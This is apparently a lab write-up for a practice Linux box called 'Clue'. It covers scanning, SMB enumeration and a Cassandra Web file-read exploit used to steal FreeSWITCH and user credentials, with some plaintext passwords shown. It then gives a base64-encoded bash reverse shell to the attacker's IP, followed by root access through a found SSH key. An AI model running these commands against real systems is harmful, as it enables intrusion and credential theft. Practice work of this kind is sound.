Post

Clue

Clue

Introduction

On this hard PG practice Linux box, I discovered a Cassandra Web interface vulnerable to Local File Inclusion (LFI). Using LFI, I extracted the FreeSWITCH event_socket password and gained a shell as the freeswitch user. Further LFI exploitation allowed me to read the cmdline of the Cassandra Web process, revealing another password. This enabled lateral movement to the cassie user. Under cassie’s home directory, I found an id_rsa private key, which provided root access.

Nmap

TCP

Run a quick Nmap TCP scan:

1
sudo nmap -sV $IP --open

image.png

UDP

Check top 100 UDP ports:

1
sudo nmap -sU -F $IP

image.png

Full Port Scan

1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open

image.png

Services

Port 22

Version - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

We usually skip SSH.

Port 139/445

  • smbclient

    image.png

  • nxc

    image.png

Grepping inside of backup directoty for pass I found:

image.png

Port 8021

After a bit of googling I found the location of freeswitch credentials which turn out to be default

image.png

Web

Port 80

Access is forbidden.

Port 3000

It is a Cassandra database that uses NoSQL, I found this one vulnerability for it CVE-2021-44521 it mentions if user_defined_functions is true we can exploit it. We need to check in cassandra.yaml file. As we have SMB access I checked cassandra.yaml and saw that it is not enabled.

image.png

To find sensitive files of cassandra I have looked at /var/lib/cassandra but it is empty:

image.png

Exploitation - shell as freeswitch

I am gonna try Cassandra Web 0.5.0 - Remote File Read

1
python3 cassandra.py 192.168.154.240 -p 3000 /etc/passwd

image.png

It really works.

As it is also mentioned in an exploit I read cmdline and found cassie password:

1
python3 cassandra.py 192.168.154.240 -p 3000 /proc/self/cmdline

image.png

(these creds are for auth to the running apache cassandra database server)

using this vulnerability I tried reading event_socket_conf.xml file to get an RCE using previous exploit.

1
python3 cassandra.py 192.168.154.240 -p 3000 /etc/freeswitch/autoload_configs/event_socket.conf.xml

image.png

I changed the password in exploit file and tried to run commands. IT does not display outputs of commands for some reason but I think they are executed because response length are different for different commands.

1
2
python3 47799.py 192.168.154.240 "id"
python3 47799.py 192.168.154.240 "ls"

image.png

I am gonna try to see if target can reach my host:

1
sudo tcpdump -i tun0 icmp
1
python3 47799.py 192.168.154.240 "ping -c 1 192.168.45.214"

image.png

Yes target can reach my host, I am gonna try to get a reverse shell.

I got a shell this way:

1
2
echo -n 'bash -c "bash -i >&/dev/tcp/192.168.45.214/80 0>&1"' | base64
python3 47799.py 192.168.154.240 "echo YmFzaCAtYyAiYmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNDUuMjE0LzgwIDA+JjEi | base64 -d |bash"

image.png

Shell as cassie

I used already known password for me to get a shell as cassie.

image.png

Let’s make it interactive using python:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Reading /etc/ssh/sshd_config now I see why I couldn’t get ssh access with this password.

image.png

I found id_rsa file under cassie directory I am gonna use it for anthony and cassie it didn’t work for both of them.

Shell as root

I used id_rsa for root user and it worked.

image.png

Credentials

1
2
3
cassie : SecondBiteTheApple330 #cassandra web database authentication

StrongClueConEight021 #event_socket pass

Mitigation

  • Patch known LFI vulnerabilities in web interfaces.
  • Avoid using plaintext credentials in process arguments or config files.
  • Apply strict access controls on sensitive directories like user home.
  • Regularly rotate SSH keys and monitor for unauthorized ones.
  • Restrict FreeSWITCH access and secure event_socket configurations.
This post is licensed under CC BY 4.0 by the author.